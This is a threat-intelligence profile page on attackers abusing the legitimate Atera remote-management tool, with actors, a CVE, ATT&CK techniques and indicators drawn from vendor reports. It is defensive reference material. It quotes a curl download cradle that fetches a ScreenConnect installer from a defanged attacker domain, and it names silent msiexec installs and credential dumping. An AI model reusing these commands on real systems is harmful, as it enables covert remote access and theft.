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MalwareRansomwareUsed by 3 actorsExploits 1 CVE

Atera

Atera is a legitimate cloud-based remote monitoring and management (RMM) platform that is repeatedly abused by threat actors as a remote access tool rather than malware developed by the actors themselves. Across the provided reporting, adversaries use Atera to establish and maintain footholds, execute remote and interactive PowerShell, transfer files, and persist in victim environments while blending in with normal IT activity through signed and trusted software.

Observed delivery and abuse patterns include renamed or trojanized installers and silent MSI-based deployment. Red Canary reported abuse involving renamed MSI installers such as MSTeam-installer.msi, and noted an intrusion where Atera was used to attempt installation of ScreenConnect via a curl-based cradle and then via Atera package management. CERT-UA described a phishing campaign targeting Ukrainian defense enterprises in which GLUEEGG and the DROPCLUE loader ultimately launched a BAT script that used curl.exe to download and silently install the legitimate ATERA agent with msiexec /i setup.msi /qn. FIN7 was reported to have staged legitimate software trojanized to contain an Atera agent installer on Amazon S3.

Atera has been observed in post-exploitation and ransomware-related activity. Mandiant observed deployment of Atera, AnyDesk, and SplashTop following successful exploitation of CitrixBleed / CVE-2023-4966 on NetScaler ADC and Gateway appliances to establish and maintain access. Reporting on LockBit activity stated operators deployed Atera after CitrixBleed exploitation to maintain persistence and enable remote, interactive PowerShell, including persistence after patching. NCC Group also observed Atera deployed as a secondary remote access and persistence mechanism during an Everest ransomware intrusion. Sophos reported abuse of the Atera agent during Log4Shell exploitation of VMware Horizon, alongside other payloads and backdoors.

Threat actors and clusters explicitly associated with Atera in the provided content include FIN7, LockBit operators, UAC-0180, TA450 historically, Iranian threat actors more broadly, and multiple uncategorized clusters tracked by Mandiant exploiting CVE-2023-4966. Proofpoint and Red Canary both highlighted broader cybercriminal adoption of Atera as part of a wider trend toward using legitimate RMM tools as first-stage payloads or persistence mechanisms.

Targeting mentioned in the content includes Ukrainian defense enterprises, organizations compromised through Citrix NetScaler exploitation across legal and professional services, technology, and government, and environments affected by ransomware or opportunistic exploitation. Defenders are specifically advised in the content to treat Atera-related infrastructure such as servicedesk.atera.com as suspicious when Atera is not authorized in the environment.

High-confidence artifacts and identifiers mentioned include renamed MSI installers such as MSTeam-installer.msi; silent installation via msiexec /i setup.msi /qn; AteraAgent.exe command-line parameters including agent-id, account-id, environment, customer-id, and folder-id; and example Atera-servicedesk URLs containing customerId, integratorLogin, and accountId parameters.

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EXPLOITED CVES

Vulnerabilities exploited

1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

1 CVES
CVE-2021-44228Log4Shell

“Atera is a legitimate… remote monitoring and management tool… they install their own Atera agents…”

via sophos threat researchnews.sophos.com
THREAT ACTORS

Groups observed using it

3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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MuddyWater

...TA450 historically using several RMM tools, such as Atera, PDQ Connect, ScreenConnect, and SimpleHelp...

via proofpoint threat insight blogproofpoint.com
FIN7

FIN7 has staged legitimate software, that was trojanized to contain an Atera agent installer, on Amazon S3.

via mitre attackattack.mitre.org
uac_0180

...завантаження і встановлення MSI-файлу легітимної програми для віддаленого управління ЕОМ ATERA...

via cert uacert.gov.ua
MITRE ATT&CK

Techniques & procedures

23 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1588.002ToolEvidence1

The content repeatedly states that threat actors 'obtained,' 'acquired,' or 'used' publicly available, open-source, legitimate, or modified tools such as Mimikatz, Cobalt Strike, PsExec, Empire, Impacket, and many others.

Initial Access

4 techniques
T1133External Remote ServicesEvidence3

Instead of relying on malicious software that antivirus tools might catch and flag, they use legitimate remote access tools to blend in with normal IT activity.

T1566PhishingEvidence2

The actor gained initial access through a phishing email directing the user to open a shared document hosted at hxxps[://]ws[.]onehub[.]com/files/ and download a file named ‘New Program ICC LTD.zip’.

T1566.001Spearphishing AttachmentEvidence1

A common lure is themed as a Social Security statement ( ssa.msi ) in an attempt to convince the victim they need to run the file to retrieve their statement.

T1566.002Spearphishing LinkEvidence1

MuddyWater began using "fully signed" and legitimate RMM tools as part of its attack chain in 2020, often by including links in phishing emails designed to trick victims into downloading and executing RMM installers.

Execution

3 techniques
T1059.001PowerShellEvidence3

Upon installing Atera Agent, the threat actors used Atera remote run commands to execute a PowerShell script (a.ps1) with the goal of dumping credentials and creating a backup file of the SYSTEM registry hive.

T1059.003Windows Command ShellEvidence2

After which, the adversary first attempted a cradle (command line that downloads and installs a payload as a single command) to install ScreenConnect: cmd.exe /c mkdir C:\Temp 2>NUL & curl.exe -L hxxps[:]//server[.]rarexterna[.]top/Bin/ScreenConnect.ClientSetup[.]msi

T1569.002Service ExecutionEvidence1

this software has the ability to persist a reboot and allow threat actors to persist in the environment via the startup service it creates (T1569.002).

Persistence

1 technique
T1133External Remote ServicesEvidence3

Instead of relying on malicious software that antivirus tools might catch and flag, they use legitimate remote access tools to blend in with normal IT activity.

Stealth

3 techniques
T1027Obfuscated Files or InformationEvidence2

Post-compromise actions in Atera also included: ... An obfuscated PowerShell command used to download the Level RMM tool

T1036MasqueradingEvidence2

Even when the file is renamed to something like party_invite.exe , or Voicemailaudioext.exe ... A common lure is themed as a Social Security statement ( ssa.msi ) ... using lures such as a document ( docmentfilecsm_jw98evavuqm5gb3.exe ) or an IRS tax-related file ( IRS-Statement_Pr2ui4J9cfA6YEu.exe ).

T1218System Binary Proxy ExecutionEvidence1

The shift shows that threat actors are ditching conventional hacking tools and increasingly embracing living-off-the-land (LotL) tactics, in which attackers leverage legitimate software and command-line tools to evade threat detection.

Credential Access

2 techniques
T1003OS Credential DumpingEvidence2

Upon installing Atera Agent, the threat actors used Atera remote run commands to execute a PowerShell script (a.ps1) with the goal of dumping credentials and creating a backup file of the SYSTEM registry hive.

T1003.002Security Account ManagerEvidence1

the threat actors used Atera remote run commands to execute a PowerShell script (a.ps1) with the goal of dumping credentials and creating a backup file of the SYSTEM registry hive.

Discovery

2 techniques
T1082System Information DiscoveryEvidence3

Post-compromise actions in Atera also included: Multiple domain enumeration commands;

T1482Domain Trust DiscoveryEvidence2

Post-compromise actions in Atera also included: Multiple domain enumeration commands;

Lateral Movement

2 techniques
T1021Remote ServicesEvidence4

Over the last few years, threat actors have flocked to exploit legitimate remote monitoring and management (RMM) tools—blue-chip IT software like ScreenConnect, LogMeIn Resolve, and PDQ Connect—blurring the line between legitimate IT administration and malicious intrusion.

T1021.002SMB/Windows Admin SharesEvidence1

SMB access remains one of the most reliable methods to achieve execution on the remote host.

Command and Control

5 techniques
T1090.002External ProxyEvidence2

Post-compromise actions in Atera also included: ... An SSH tunnel towards 51.16.209[.]105

T1090.003Multi-hop ProxyEvidence1

Post-compromise actions in Atera also included: ... An SSH tunnel towards 51.16.209[.]105;

T1105Ingress Tool TransferEvidence3

The ‘New Program ICC LTD.zip’ archive contained a compressed installer file for legitimate remote monitoring and management (RMM) tool Atera.

T1219Remote Access ToolsEvidence10

The ‘New Program ICC LTD.zip’ archive contained a compressed installer file for legitimate remote monitoring and management (RMM) tool Atera. Upon installing Atera Agent, the threat actors used Atera remote run commands to execute a PowerShell script (a.ps1)...

T1573Encrypted ChannelEvidence1

Many RMM tools provide end-to-end encryption and are accessed through vendor-operated relay servers, obviating the need for traditional command-and-control (C2) infrastructure that can be tracked by researchers and blocked by network security devices.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence1

RMM tools often enable file sharing between compromised machines and those of attackers, as well as the execution of arbitrary commands. These features empower attackers to easily drop and execute additional tools or malware, or exfiltrate data.

INDICATORS OF COMPROMISE

IOCs tracked for this family

9 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

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Network
4 tracked

IPs, domains, and DNS infrastructure linked to this family.

Other
5 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
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IOC matching9

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution3

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities1

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping23

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.